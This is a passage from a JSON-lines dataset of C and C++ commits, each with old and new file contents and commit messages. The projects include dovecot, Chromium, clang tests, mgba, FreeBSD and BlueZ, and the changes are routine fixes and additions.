*v;\n\tint refcount;\n\tstruct fts_filter *parent;\n};\n\n#endif\n","new_contents":"#ifndef FTS_FILTER_PRIVATE_H\n#define FTS_FILTER_PRIVATE_H\n\n#define FTS_FILTER_CLASSES_NR 3\n\n\/*\n API that stemming providers (classes) must provide: The create()\n function is called to get an instance of a registered filter class.\n The filter() function is called with tokens for the specific filter.\n The destroy function is called to destroy an instance of a filter.\n\n*\/\nstruct fts_filter_vfuncs {\n\tint (*create)(const struct fts_language *lang,\n\t              const char *const *settings,\n\t              struct fts_filter **filter_r,\n\t              const char **error_r);\n\tint (*filter)(struct fts_filter *filter, const char **token,\n\t\t      const char **error_r);\n\n\tvoid (*destroy)(struct fts_filter *filter);\n};\n\nstruct fts_filter {\n\tconst char *class_name; \/* name of the class this is based on *\/\n\tconst struct fts_filter_vfuncs *v;\n\tint refcount;\n\tstruct fts_filter *parent;\n};\n\n#endif\n","subject":"Correct comment in filter internal API.","message":"lib-fts: Correct comment in filter internal API.\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot"}
{"commit":"6e40568c6c6297fa0fcc85a6f8116af5bc167f69","old_file":"linkedlist.c","new_file":"linkedlist.c","old_contents":"\/**\n *\/\n\n#include \"linkedlist.h\"\n\n\n\/**\n * Create a new empty linked list.\n *\/\nLinkedList* createList(void)\n{\n    LinkedList *list = (LinkedList *) malloc(sizeof(LinkedList));\n    \/*\n     * If no error in allocating, initialise list contents.\n     *\/\n    if (list)\n        list->head = NULL;\n\n    return list;\n}\n\n\n\/**\n * Delete an entire list.\n *\n * TODO: use double pointer to allow setting to NULL from inside?\n *\/\nvoid deleteList(LinkedList *list)\n{\n    LinkedListNode *current, *next;\n    current = list->head;\n    next = current;\n    while (next)\n    {\n        next = current->next;\n        free(current);\n        current = next;\n    }\n    free(list);\n}\n\n\n\/**\n * Add an element to the start.\n *\n * Precondition: list is a valid pointer\n *\/\nvoid insertStart(LinkedList *list, LinkedListData data)\n{\n    LinkedListNode *node = (LinkedListNode *) malloc(sizeof(LinkedListNode));\n    \/*\n     * If no error, proceed to add node to list.\n     *\/\n    if (node)\n    {\n        node->data = data;\n        node->next = list->head;\n        list->head = node;\n    }\n}\n\n\n\/**\n * Delete an element at the start.\n *\n * Precondition: list is a valid pointer\n *\/\nvoid removeStart(LinkedList *list)\n{\n    if (list->head)\n    {\n        LinkedListNode *node = list->head;\n        list->head = node->next;\n        free(node);\n    }\n}\n\n","new_contents":"\/**\n *\/\n\n#include \"linkedlist.h\"\n\n\n\/**\n * Create a new empty linked list.\n *\/\nLinkedList* createList(void)\n{\n    LinkedList *list = (LinkedList *) malloc(sizeof(LinkedList));\n    \/*\n     * If no error in allocating, initialise list contents.\n     *\/\n    if (list)\n        list->head = NULL;\n\n    return list;\n}\n\n\n\/**\n * Delete an entire list.\n *\n * TODO: use double pointer to allow setting to NULL from inside?\n *\/\nvoid deleteList(LinkedList *list)\n{\n    if (list != NULL)\n    {\n        LinkedListNode *current, *next;\n        current = list->head;\n        next = current;\n        while (next)\n        {\n            next = current->next;\n            free(current);\n            current = next;\n        }\n        free(list);\n    }\n}\n\n\n\/**\n * Add an element to the start.\n *\n * Precondition: list is a valid pointer\n *\/\nvoid insertStart(LinkedList *list, LinkedListData data)\n{\n    LinkedListNode *node = (LinkedListNode *) malloc(sizeof(LinkedListNode));\n    \/*\n     * If no error, proceed to add node to list.\n     *\/\n    if (node)\n    {\n        node->data = data;\n        node->next = list->head;\n        list->head = node;\n    }\n}\n\n\n\/**\n * Delete an element at the start.\n *\n * Precondition: list is a valid pointer\n *\/\nvoid removeStart(LinkedList *list)\n{\n    if (list->head)\n    {\n        LinkedListNode *node = list->head;\n        list->head = node->next;\n        free(node);\n    }\n}\n\n","subject":"Add check for null pointer in deleteList()","message":"Add check for null pointer in deleteList()\n","lang":"C","license":"mit","repos":"jradtilbrook\/linkedlist"}
{"commit":"a412123bebbec376d4df8d06a06061d9bd45dd64","old_file":"src\/ibmras\/common\/common.h","new_file":"src\/ibmras\/common\/common.h","old_contents":"\/*******************************************************************************\n * Copyright 2016 IBM Corp.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *******************************************************************************\/\n\n\n#ifndef ibmras_common_common_h\n#define ibmras_common_common_h\n\n#include <sstream>\nnamespace ibmras {\nnamespace common {\n\ntemplate <class T>\nstd::string itoa(T t) {\n#ifdef _WINDOWS\n    return std::to_string(static_cast<long long>(t));\n#else\n\tstd::stringstream s;\n\ts << t;\n\treturn s.str();\n#endif\n\nstd::string ftoa(T t) {\n#ifdef _WINDOWS\n    return std::to_string(static_cast<long double>(t));\n#else\n\tstd::stringstream s;\n\ts << t;\n\treturn s.str();\n#endif\n}\n\n}\n}\n\n\n#endif \/* ibmras_common_common_h *\/\n","new_contents":"\/*******************************************************************************\n * Copyright 2016 IBM Corp.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *******************************************************************************\/\n\n\n#ifndef ibmras_common_common_h\n#define ibmras_common_common_h\n\n#include <sstream>\nnamespace ibmras {\nnamespace common {\n\ntemplate <class T>\nstd::string itoa(T t) {\n#ifdef _WINDOWS\n    return std::to_string(static_cast<long long>(t));\n#else\n\tstd::stringstream s;\n\ts << t;\n\treturn s.str();\n#endif\n\ntemplate <class T>\nstd::string ftoa(T t) {\n#ifdef _WINDOWS\n    return std::to_string(static_cast<long double>(t));\n#else\n\tstd::stringstream s;\n\ts << t;\n\treturn s.str();\n#endif\n}\n\n}\n}\n\n\n#endif \/* ibmras_common_common_h *\/\n","subject":"Make ftoa a template function","message":"Make ftoa a template function\n","lang":"C","license":"apache-2.0","repos":"RuntimeTools\/omr-agentcore,RuntimeTools\/omr-agentcore,RuntimeTools\/omr-agentcore,RuntimeTools\/omr-agentcore,RuntimeTools\/omr-agentcore"}
{"commit":"ac5714bf291199e3d820dacbeabe902aa0fcf769","old_file":"display.h","new_file":"display.h","old_contents":"\/*******************************************************************************\n * Copyright (C) 2010, Linaro Limited.\n *\n * This file is part of PowerDebug.\n *\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the Eclipse Public License v1.0\n * which accompanies this distribution, and is available at\n * http:\/\/www.eclipse.org\/legal\/epl-v10.html\n *\n * Contributors:\n *     Amit Arora <amit.arora@linaro.org> (IBM Corporation)\n *       - initial API and implementation\n *******************************************************************************\/\n\n#define VALUE_MAX 16\n\nWINDOW windows[TOTAL_FEATURE_WINS];\n\n#define PT_COLOR_DEFAULT    1\n#define PT_COLOR_HEADER_BAR 2\n#define PT_COLOR_ERROR      3\n#define PT_COLOR_RED        4\n#define PT_COLOR_YELLOW     5\n#define PT_COLOR_GREEN      6\n#define PT_COLOR_BRIGHT     7\n#define PT_COLOR_BLUE       8\n","new_contents":"\/*******************************************************************************\n * Copyright (C) 2010, Linaro Limited.\n *\n * This file is part of PowerDebug.\n *\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the Eclipse Public License v1.0\n * which accompanies this distribution, and is available at\n * http:\/\/www.eclipse.org\/legal\/epl-v10.html\n *\n * Contributors:\n *     Amit Arora <amit.arora@linaro.org> (IBM Corporation)\n *       - initial API and implementation\n *******************************************************************************\/\n\n#define PT_COLOR_DEFAULT    1\n#define PT_COLOR_HEADER_BAR 2\n#define PT_COLOR_ERROR      3\n#define PT_COLOR_RED        4\n#define PT_COLOR_YELLOW     5\n#define PT_COLOR_GREEN      6\n#define PT_COLOR_BRIGHT     7\n#define PT_COLOR_BLUE       8\n","subject":"Remove unused variables and definitions","message":"Remove unused variables and definitions\n\nSigned-off-by: Daniel Lezcano <e9fa45941f2ebe89c1b9d6c5f339ab42eadb8567@free.fr>\nSigned-off-by: Amit Kucheria <f352f8f7e4567da77f569289775ad284524dea88@linaro.org>\n","lang":"C","license":"epl-1.0","repos":"yinquan529\/platform-external-powerdebug,yinquan529\/platform-external-powerdebug,gromaudio\/android_external_powerdebug,gromaudio\/android_external_powerdebug"}
{"commit":"68906b8b7ac54dcc9a23d74c26a31cd8a8d1f221","old_file":"chrome\/browser\/autofill\/autofill_dialog.h","new_file":"chrome\/browser\/autofill\/autofill_dialog.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_AUTOFILL_AUTOFILL_DIALOG_H_\n#define CHROME_BROWSER_AUTOFILL_AUTOFILL_DIALOG_H_\n\n#include <vector>\n\n#include \"chrome\/browser\/autofill\/autofill_profile.h\"\n\n\/\/ Shows the AutoFill dialog, which allows the user to edit profile information.\n\/\/ |profiles| is a vector of autofill profiles that contains the current profile\n\/\/ information.  The dialog fills out the profile fields using this data.  Any\n\/\/ changes made to the profile information through the dialog should be\n\/\/ transferred back into |profiles|.\nvoid ShowAutoFillDialog(const std::vector<AutoFillProfile>& profiles);\n\n#endif  \/\/ CHROME_BROWSER_AUTOFILL_AUTOFILL_DIALOG_H_\n","subject":"Add the AutoFillDialog header, needed by the cross-platform implementations to implement the autofill dialog.","message":"Add the AutoFillDialog header, needed by the cross-platform implementations to implement the autofill dialog.\n\nBUG=none\nTEST=none\nReview URL: http:\/\/codereview.chromium.org\/549014\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@36030 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ropik\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium"}
{"commit":"f4966e249257bb689d40ba9805a6b0cc8d4d7423","old_file":"src\/ApiKey.h","new_file":"src\/ApiKey.h","old_contents":"\/\/ Copyright eeGeo Ltd (2012-2015), All Rights Reserved\n\n#pragma once\n\n#include <string>\n\nnamespace ExampleApp\n{\n    \/\/! defines a path to the app config file, which is used to provide the EegeoApiKey and other credentials\n    static const std::string ApplicationConfigurationPath = \"ApplicationConfigs\/standard_config.json\";\n\n    \/\/! REQUIRED: You must obtain an API key for the eeGeo SDK from https:\/\/www.eegeo.com\/developers\/ and set is as the value of \"EegeoApiKey\" in the config file\n    \n    \/\/! Optional: If 'useYelp' is true in AppHost you may wish to obtain a Yelp API key from https:\/\/www.yelp.com\/developers for POI search provision.\n    \/\/! If so, set credentials using the following keys in the app config file:\n    \/\/! YelpConsumerKey\n    \/\/! YelpConsumerSecret\n    \/\/! YelpOAuthToken\n    \/\/! YelpOAuthTokenSecret\n    \/\/! Optional: You may wish to obtain a geonames account key from http:\/\/www.geonames.org\/export\/web-services.html for address\/place search provision.\n    \/\/! Set it as the value of 'GeoNamesUserName' in the app config file:\n \n    \/\/! Optional: You may wish to obtain an API key for Flurry from https:\/\/developer.yahoo.com\/analytics\/ for metrics.\n    \/\/! Set it as the value of 'FlurryApiKey' in the app config file:\n}\n","new_contents":"\/\/ Copyright eeGeo Ltd (2012-2015), All Rights Reserved\n\n#pragma once\n\n#include <string>\n\nnamespace ExampleApp\n{\n    \/\/! defines a path to the app config file, which is used to provide the EegeoApiKey and other credentials\n    static const std::string ApplicationConfigurationPath = \"ApplicationConfigs\/standard_config.json\";\n\n    \/\/! REQUIRED: You must obtain an API key for the WRLD SDK from https:\/\/www.wrld3d.com\/developers and set it as the value of \"EegeoApiKey\" in the config file: \"ApplicationConfigs\/standard_config.json\"    \n    \/\/! Optional: If 'useYelp' is true in AppHost you may wish to obtain a Yelp API key from https:\/\/www.yelp.com\/developers for POI search provision.\n    \/\/! If so, set credentials using the following keys in the app config file:\n    \/\/! YelpConsumerKey\n    \/\/! YelpConsumerSecret\n    \/\/! YelpOAuthToken\n    \/\/! YelpOAuthTokenSecret\n    \/\/! Optional: You may wish to obtain a geonames account key from http:\/\/www.geonames.org\/export\/web-services.html for address\/place search provision.\n    \/\/! Set it as the value of 'GeoNamesUserName' in the app config file:\n \n    \/\/! Optional: You may wish to obtain an API key for Flurry from https:\/\/developer.yahoo.com\/analytics\/ for metrics.\n    \/\/! Set it as the value of 'FlurryApiKey' in the app config file:\n}\n","subject":"Fix for MPLY-10449 Corrected the message to what the bug report suggests. Buddy: Michael O","message":"Fix for MPLY-10449\nCorrected the message to what the bug report suggests.\nBuddy: Michael O\n","lang":"C","license":"bsd-2-clause","repos":"eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,wrld3d\/wrld-example-app"}
{"commit":"21e818f9426d80edb2cb97188ef33047b0f1f5bf","old_file":"c\/boards\/arduino_uno\/riot_arduino_uno.c","new_file":"c\/boards\/arduino_uno\/riot_arduino_uno.c","old_contents":"#include \"riot_arduino_uno.h\"\n#include \"utils.h\"\n\nriot_arduino_uno_sinks* riot_arduino_uno_sinks_create() {\n  riot_arduino_uno_sinks *sinks = xmalloc(sizeof(riot_arduino_uno_sinks));\n  return sinks;\n}\n\nriot_arduino_uno_sources* riot_arduino_uno_sources_create() {\n  riot_arduino_uno_sources *sources = xmalloc(sizeof(riot_arduino_uno_sources));\n  return sources;\n};\n\nint riot_arduino_uno_run(riot_arduino_uno_main main) {\n  if(main == NULL) {\n    return -1;\n  }\n  riot_arduino_uno_sources *sources = riot_arduino_uno_sources_create();\n  if(sources == NULL) {\n    return -2;\n  }\n  riot_arduino_uno_sinks *sinks = main(sources);\n  if(sinks == NULL) {\n    return -3;\n  }\n  while(true) {\n    \/\/ TODO: Read all inputs and map to sources\n    \/\/ TODO: If all sinks\/outputs have completed, break\n  }\n  return 0;\n}\n","new_contents":"#include \"riot_arduino_uno.h\"\n#include \"utils.h\"\n#include<stdbool.h>\n\nriot_arduino_uno_sinks* riot_arduino_uno_sinks_create() {\n  riot_arduino_uno_sinks *sinks = xmalloc(sizeof(riot_arduino_uno_sinks));\n  return sinks;\n}\n\nriot_arduino_uno_sources* riot_arduino_uno_sources_create() {\n  riot_arduino_uno_sources *sources = xmalloc(sizeof(riot_arduino_uno_sources));\n  return sources;\n};\n\nvoid riot_arduino_uno_map_sinks_to_write_outputs(riot_arduino_uno_sinks *sinks) {\n  \/\/ TODO: Map sinks to write outputs \n}\n\nvoid riot_arduino_uno_read_inputs(riot_arduino_uno_sources *sources) {\n  \/\/ TODO: Read all inputs and map to sources\n}\n\nbool riot_arduino_uno_is_sinks_empty(riot_arduino_uno_sinks *sinks) {\n  \/\/ TODO: Return true if no streams are present in sink, ie no output is required.\n}\n\nint riot_arduino_uno_run(riot_arduino_uno_main main) {\n  if(main == NULL) {\n    return -1;\n  }\n  riot_arduino_uno_sources *sources = riot_arduino_uno_sources_create();\n  if(sources == NULL) {\n    return -2;\n  }\n  riot_arduino_uno_sinks *sinks = main(sources);\n  if(sinks == NULL) {\n    return -3;\n  }\n  riot_arduino_uno_map_sinks_to_write_outputs(sinks);\n  while (true) {\n    riot_arduino_uno_read_inputs(sources);\n    if(riot_arduino_uno_is_sinks_empty(sinks))\n      break;\n  }\n  return 0;\n}\n","subject":"Add function declarations, usages and TODOs","message":"Add function declarations, usages and TODOs\n","lang":"C","license":"mit","repos":"artfuldev\/RIoT"}
{"commit":"1ce377ab2cf36d8d10b3d0672977dbc63833c745","old_file":"test\/CodeGen\/available-externally-suppress.c","new_file":"test\/CodeGen\/available-externally-suppress.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -o - -O0 -triple x86_64-apple-darwin10 %s | FileCheck %s\n\n\/\/ Ensure that we don't emit available_externally functions at -O0.\nint x;\n\ninline void f0(int y) { x = y; }\n\n\/\/ CHECK: define void @test()\n\/\/ CHECK: declare void @f0(i32)\nvoid test() {\n  f0(17);\n}\n\ninline int __attribute__((always_inline)) f1(int x) { \n  int blarg = 0;\n  for (int i = 0; i < x; ++i)\n    blarg = blarg + x * i;\n  return blarg; \n}\n\nint test1(int x) { \n  \/\/ CHECK: br i1\n  \/\/ CHECK-NOT: call\n  \/\/ CHECK: ret i32\n  return f1(x); \n}\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -o - -O0 -triple x86_64-apple-darwin10 %s | FileCheck %s\n\n\/\/ Ensure that we don't emit available_externally functions at -O0.\nint x;\n\ninline void f0(int y) { x = y; }\n\n\/\/ CHECK: define void @test()\n\/\/ CHECK: declare void @f0(i32)\nvoid test() {\n  f0(17);\n}\n\ninline int __attribute__((always_inline)) f1(int x) { \n  int blarg = 0;\n  for (int i = 0; i < x; ++i)\n    blarg = blarg + x * i;\n  return blarg; \n}\n\n\/\/ CHECK: @test1\nint test1(int x) { \n  \/\/ CHECK: br i1\n  \/\/ CHECK-NOT: call\n  \/\/ CHECK: ret i32\n  return f1(x); \n}\n","subject":"Improve test case. Thanks Eli","message":"Improve test case. Thanks Eli\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@108470 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"ec0974bc2f25485f430627e5d170ddf938b1fa56","old_file":"p_liberrno.h","new_file":"p_liberrno.h","old_contents":"\/*\n * Copyright 2013 Mo McRoberts.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#ifndef P_LIBERRNO_H_\n# define P_LIBERRNO_H_                 1\n\n# include <ux\/cdefs.h>\n\n# include \"errno.h\"\n# undef errno\n\nint *errno_ux2003(void) UX_SYM03_(errno) UX_WEAK_;\nint *errno_global_ux2003(void) UX_SYM03_(errno_global_);\n\n#endif \/*!P_LIBERRNO_H_*\/","new_contents":"\/*\n * Copyright 2013 Mo McRoberts.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#ifndef P_LIBERRNO_H_\n# define P_LIBERRNO_H_                 1\n\n# include <ux\/cdefs.h>\n\n# include \"errno.h\"\n# undef errno\n\nint *errno_ux2003(void) UX_SYM03_(errno) UX_WEAK_;\nint *errno_global_ux2003(void) UX_PRIVATE_(errno_global);\n\n#endif \/*!P_LIBERRNO_H_*\/\n","subject":"Mark errno_global as a private symbol.","message":"Mark errno_global as a private symbol.\n","lang":"C","license":"apache-2.0","repos":"coreux\/liberrno,coreux\/liberrno"}
{"commit":"054cb770c30818cb8d58846fdf187af00b1e749d","old_file":"tests\/regression\/04-mutex\/58-strange-spawn.c","new_file":"tests\/regression\/04-mutex\/58-strange-spawn.c","old_contents":"","new_contents":"#include <pthread.h>\n#include <stdio.h>\n\nint myglobal;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&mutex1);\n  myglobal=myglobal+1; \/\/ RACE!\n  pthread_mutex_unlock(&mutex1);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL, NULL); \/\/ strange pthread_create, should be treated as unknown and spawn (instead of unsoundly bailing)\n  pthread_mutex_lock(&mutex2);\n  myglobal=myglobal+1; \/\/ RACE!\n  pthread_mutex_unlock(&mutex2);\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Add test where bailure is unsound","message":"Add test where bailure is unsound\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"2d6749f8c86b6c0ab9bf64f6666ad167f883226e","old_file":"src\/platform\/3ds\/3ds-memory.c","new_file":"src\/platform\/3ds\/3ds-memory.c","old_contents":"\/* Copyright (c) 2013-2014 Jeffrey Pfau\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n#include \"util\/memory.h\"\n\nvoid* anonymousMemoryMap(size_t size) {\n\treturn malloc(size);\n}\n\nvoid mappedMemoryFree(void* memory, size_t size) {\n\tfree(memory);\n}\n","new_contents":"\/* Copyright (c) 2013-2014 Jeffrey Pfau\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n#include \"util\/memory.h\"\n\n#include <3ds.h>\n\nvoid* anonymousMemoryMap(size_t size) {\n\treturn linearAlloc(size);\n}\n\nvoid mappedMemoryFree(void* memory, size_t size) {\n\tUNUSED(size);\n\tlinearFree(memory);\n}\n","subject":"Use linearAlloc instead of malloc","message":"3DS: Use linearAlloc instead of malloc\n","lang":"C","license":"mpl-2.0","repos":"sergiobenrocha2\/mgba,Touched\/mgba,AdmiralCurtiss\/mgba,Anty-Lemon\/mgba,mgba-emu\/mgba,iracigt\/mgba,jeremyherbert\/mgba,cassos\/mgba,libretro\/mgba,mgba-emu\/mgba,libretro\/mgba,fr500\/mgba,askotx\/mgba,Anty-Lemon\/mgba,jeremyherbert\/mgba,Iniquitatis\/mgba,Iniquitatis\/mgba,libretro\/mgba,mgba-emu\/mgba,iracigt\/mgba,askotx\/mgba,sergiobenrocha2\/mgba,fr500\/mgba,Anty-Lemon\/mgba,askotx\/mgba,sergiobenrocha2\/mgba,jeremyherbert\/mgba,fr500\/mgba,cassos\/mgba,Iniquitatis\/mgba,AdmiralCurtiss\/mgba,iracigt\/mgba,mgba-emu\/mgba,Touched\/mgba,MerryMage\/mgba,jeremyherbert\/mgba,sergiobenrocha2\/mgba,libretro\/mgba,sergiobenrocha2\/mgba,AdmiralCurtiss\/mgba,Touched\/mgba,MerryMage\/mgba,fr500\/mgba,cassos\/mgba,Anty-Lemon\/mgba,iracigt\/mgba,askotx\/mgba,libretro\/mgba,Iniquitatis\/mgba,MerryMage\/mgba"}
{"commit":"db44ba375371f40754feca8fa14a009d49333c03","old_file":"sys\/alpha\/include\/ieeefp.h","new_file":"sys\/alpha\/include\/ieeefp.h","old_contents":"\/* $FreeBSD$ *\/\n\/* From: NetBSD: ieeefp.h,v 1.2 1997\/04\/06 08:47:28 cgd Exp *\/\n\n\/* \n * Written by J.T. Conklin, Apr 28, 1995\n * Public domain.\n *\/\n\n#ifndef _ALPHA_IEEEFP_H_\n#define _ALPHA_IEEEFP_H_\n\ntypedef int fp_except;\n#define\tFP_X_INV\t(1LL << 1)\t\/* invalid operation exception *\/\n#define\tFP_X_DZ\t\t(1LL << 2)\t\/* divide-by-zero exception *\/\n#define\tFP_X_OFL\t(1LL << 3)\t\/* overflow exception *\/\n#define\tFP_X_UFL\t(1LL << 4)\t\/* underflow exception *\/\n#define\tFP_X_IMP\t(1LL << 5)\t\/* imprecise(inexact) exception *\/\n#if 0\n#define\tFP_X_IOV\t(1LL << 6)\t\/* integer overflow XXX? *\/\n#endif\n\ntypedef enum {\n    FP_RZ=0,\t\t\t\/* round to zero (truncate) *\/\n    FP_RM=1,\t\t\t\/* round toward negative infinity *\/\n    FP_RN=2,\t\t\t\/* round to nearest representable number *\/\n    FP_RP=3\t\t\t\/* round toward positive infinity *\/\n} fp_rnd;\n\n#endif \/* _ALPHA_IEEEFP_H_ *\/\n","new_contents":"\/* $FreeBSD$ *\/\n\/* From: NetBSD: ieeefp.h,v 1.2 1997\/04\/06 08:47:28 cgd Exp *\/\n\n\/* \n * Written by J.T. Conklin, Apr 28, 1995\n * Public domain.\n *\/\n\n#ifndef _ALPHA_IEEEFP_H_\n#define _ALPHA_IEEEFP_H_\n\ntypedef int fp_except_t;\n#define\tFP_X_INV\t(1LL << 1)\t\/* invalid operation exception *\/\n#define\tFP_X_DZ\t\t(1LL << 2)\t\/* divide-by-zero exception *\/\n#define\tFP_X_OFL\t(1LL << 3)\t\/* overflow exception *\/\n#define\tFP_X_UFL\t(1LL << 4)\t\/* underflow exception *\/\n#define\tFP_X_IMP\t(1LL << 5)\t\/* imprecise(inexact) exception *\/\n#if 0\n#define\tFP_X_IOV\t(1LL << 6)\t\/* integer overflow XXX? *\/\n#endif\n\ntypedef enum {\n    FP_RZ=0,\t\t\t\/* round to zero (truncate) *\/\n    FP_RM=1,\t\t\t\/* round toward negative infinity *\/\n    FP_RN=2,\t\t\t\/* round to nearest representable number *\/\n    FP_RP=3\t\t\t\/* round toward positive infinity *\/\n} fp_rnd;\n\n#endif \/* _ALPHA_IEEEFP_H_ *\/\n","subject":"Change floating point exception type to match the i386 one.","message":"Change floating point exception type to match the i386 one.\n\nSubmitted by:\tMark Abene <phiber@radicalmedia.com>\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"1f11ee8f51949a764ea6ae871584d2ea5bc738f3","old_file":"src\/shared\/timeout-mainloop.c","new_file":"src\/shared\/timeout-mainloop.c","old_contents":"","new_contents":"\/*\n *\n *  BlueZ - Bluetooth protocol stack for Linux\n *\n *  Copyright (C) 2014  Intel Corporation. All rights reserved.\n *\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License as published by the Free Software Foundation; either\n *  version 2.1 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *\/\n\n#include <stdlib.h>\n\n#include \"timeout.h\"\n\n#include \"monitor\/mainloop.h\"\n\nstruct timeout_data {\n\tint id;\n\ttimeout_func_t func;\n\ttimeout_destroy_func_t destroy;\n\tunsigned int timeout;\n\tvoid *user_data;\n};\n\nstatic void timeout_callback(int id, void *user_data)\n{\n\tstruct timeout_data *data = user_data;\n\n\tif (data->func(data->user_data) &&\n\t\t!mainloop_modify_timeout(data->id, data->timeout))\n\t\treturn;\n\n\tmainloop_remove_timeout(data->id);\n}\n\nstatic void timeout_destroy(void *user_data)\n{\n\tstruct timeout_data *data = user_data;\n\n\tif (data->destroy)\n\t\tdata->destroy(data->user_data);\n\n\tfree(data);\n}\n\nint timeout_add(unsigned int t, timeout_func_t func, void *user_data,\n\t\t\t\t\t\ttimeout_destroy_func_t destroy)\n{\n\tstruct timeout_data *data = malloc(sizeof(*data));\n\n\tdata->func = 